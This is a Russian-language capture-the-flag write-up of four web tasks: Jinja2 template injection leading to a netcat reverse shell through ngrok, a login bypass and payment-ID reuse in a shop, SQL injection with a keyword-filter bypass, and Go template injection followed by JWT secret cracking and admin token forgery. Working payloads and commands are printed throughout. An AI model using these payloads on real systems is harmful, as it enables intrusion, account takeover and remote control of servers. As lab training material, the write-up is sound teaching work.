# Web tasks write up
[ToC]
### 1. Landing

При первом посещении ресурса, нас встречает обычный лендинг, который не имеет большого функционала.


При попытке прейти на несуществующий эндпоинт, мы попадает на кастомную страницу 404, которая содержит пользовательский ввод


При помощи несложного пейлоада `{{7*7}}` мы проверяем данный ввод на наличие [SSTI](https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection) уязвимости.


Как мы видим, шаблонизатор смог обработать и посчитать переданное нами выражение, а значит уязвимость тут присутствует.

Rce достигается при помощи пейлоада: `{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read()}}`, где `id` команда linux, которая может быть заменена на любую другую.


Для того, чтобы прокинуть reverse shell и попасть на сервер, нам нужно, чтобы контейнер, в котором крутится приложение нас "видел". Если у контейнера есть выход в интернет, то мы можем воспользоваться утилитой ngrok и проксировать нашу tcp сессию. Для этого с помощью netcat'а начнем слушать выбранный нами порт, на который придет соединение, которое предоставит нам shell.


и сразу же с помощью ngrok начнем проксировать этот порт в общую сеть `ngrok tcp 4444`


Теперь в самом веб приложении сформируем полезную нагрузку, которая отдаст шелл по адресу, предоставленному нгроком, который в свою очередь спроксирует соединеие нам.
`{{self._TemplateReference__context.cycler.__init__.__globals__.os.popen('nc <ngrok-ip> <ngrok-port> -e sh').read()}}`

Отправив нашу полезную нагрузку взглянем на наш прослушиватель, который ожидал соединения


И как мы видим наш shell был успешно доставлен и мы можем выполнять команды и получать ответ от сервера.

### 2. Secret shop

В данном таске есть 2 уязвимости:
1. SSJI(server side javascript injection), помогающая обойти аутентификацию
2. Уязвимость в бизнес логике приложения, позволяющая купить любой продукт в магазине за бесплатно, при условии, что заранее какой-то товар был приобретен

---

1) Выбрав любого пользователя (e.g. admin) можно попасть в его аккаунт при помощи пейлоада `' || '' == '`, поместив его в поле пароля.
2) после покупки определенного товара, в строке url можно увидеть уникальный идентефикатор нашей **успешно** завершенной транзакции в параметре payment_id.


Сохранив такой индентификатор, его можно подставить в следующую свою транзакцию, чтобы система сочла ее завершенной и добавила "купленный" товар в ваш инвентарь.

### 3. Cats

В этом задании представляется простой сервис по описанию кошек


При перехвате запроса видно, что отправляется POST запрос с параметром kind, в котором указывается порода кошки, информацию о которой мы хотим получить. Пихнув кавычку, мы видим что данное приложение уязвимо к sql инъекции.


для того, чтобы узнать, в какой таблице у нас хранятся все данные, мы воспользуемся следующим пейлоадом: `qwe' union select 3,table_name,'q','q' from information_schema.tables where table_name like 'cats%25' -- -` (чтобы второй select отработал и вывел нам информацию, нам нужно, чтобы первый select ничего не нашел, поэтмоу вместо породы пишем 'qwe')


В ответе от этой полезной нагрузки видно, что на сервере присутствует фильтрация, при которой удаляюстя все ключевые слова (union, select, where, from).

Чтобы обойти данный вид санитизации попробуем использовать метод "схлопований". мы обернем удаляемые слова в себя же, чтобы после удаления "опасного" слова, его начало и конец схлопнулись, образуя то же самое слово e.g. **SEL~~select~~ECT -> SELECT**.

Используем следующий пейлоад `' UNunionION SELselectECT 1,table_name,'q','q' FRfromOM information_schema.tables WHEwhereRE table_name like "cats%25" -- -`

и получаем нашу искомую таблицу


По аналогии получаем колонки данной таблицы и впоследствии вытаскиваем флаг из этой таблицы `qwe' UNunionION SELselectECT 7,link,'q','q' FRfromOM cats_info whewherere id = 7 -- -`


Данная бд загружается в контейнер посредством подгрузки sql скрипта, который производит инициализацию таблицы


Картинки в бд не хранятся, вместо этого хранится ссылка на эту картинку в интернете.

### 3. Query Lab


При попадании на ресурс, нас встречает лендинг и форма авторизации, которая не являтеся уязвимой. Данное приложение по легенде занимается разработкой различных промптов для лингвистических нейронных моделей, как например ChatGPT.

При фазинге поддоменов, можно найти следующие записи


Если мы перейдем на поддомен admin, то столкнемся с basic auth'ом, который не пустит нас дальше. Брутить бесполезно, так что решаем вернуться сюда позже.


Для нас интересным является поддомен api.

После фазинга директорий этого поддомена, мы находим следующий роут.


Если мы перейдем по нему, то увидим список зарегестрированных пользователей, а также поля, нужные для их регистрации.


Если мы опять профазим директории, только на этот раз используя метод POST, то найдем следующие роуты.


Эндпоинт register является для нас очень интересным, так как сможет помочь нам попасть на портал.

Немного поразмыслив, стает понятно, что нужно отправить json, соответствующий шаблону, увиденному в `/user` (дефолтные login, password), и далее мы регистрируемся при помощи следующего запроса `curl -XPOST https://api.querylabs.ru/register -d '{"login":"qwe", "password":"qwe"}'`


После успешной эксплуатации незащищенного api просто авторизируемся с заданнами при регистрации кредами и попадаем на портал.


Страницы Home и Profile являются информационными страницами и большого интереса для нас не несут. На вкладке Search нам уже дают возможность вводить названия тем(на которые мы по легенде уже успели заказать промпты для нейронок), по которым будут представлены уже разработанные запросы. (тема flag просто отдает флаг для того, чтобы сдать первое задание по эксплуатации api).


Тут мы замечаем, что наш ввод не фильтруется и начинаем раскручивать. Замечаем, что один из пейлоадов для SSTI `{{ . }}` отрабатывает. По полезной нагрузке мы понимаем, что приложение написано на GO.


Почитав про не самую популярную уязвимость ssti для Golang'а, понимаем, что мы раскрыли передаваемые для рендеринга страницы объекты: Prompt и User. Если мы посмотрим, что у нас передается в User, введя `{{ .User }}`, то увидим, что раскрывается наш пароль, с которым мы зарегестрировались.


Тут мы вспоминаем, что среди списка всех пользователей видели админа, а так же вспоминаем про админку, которую мы оставили "на потом" и понимаем, что таким образом можем достать пароль админа. Для этого пойдем смотреть, как приложение нас авторизиует. Для этого зайдем в cookie и увидим, что наша сессия хранится в jwt.



Попробуем побрутить jwt при помощи John the ripper'а
`john jwt.txt --wordlist rockyou.txt --format=HMAC-SHA256`


После брута мы понимаем, что секрет для нашего jwt токена является `token`. Для идем на все тот же ресурс jwt.io и заменяем там id пользователя на предполагаемый id админа, то есть на `1`, подставив при этом нужный секрет для нашего jwt. Заменяем наш jwt в куках на полученный и обновляем страницу.


Олично, у нас получилось войти в акаунт администратора. Теперь пойдем заберм его пароль при помощи все той же полезной нагрузки на странице Search `{{ .User }}`


Теперь у нас есть креды админа и мы можем попытаться с ними войти в адинку.

Используя полученные креды мы успешно попадаем в панель администратора


Находим страницу Logs, которая содержит записи из журналов авторизации пользователей на сервере и строку поиска по этим логам.


Данный инпут просто выполянет греп по файлу с логами, а также содержит в себе rce уязвимость.


На этом этапе уже можно попасть на сервер и пойти дальше по сети.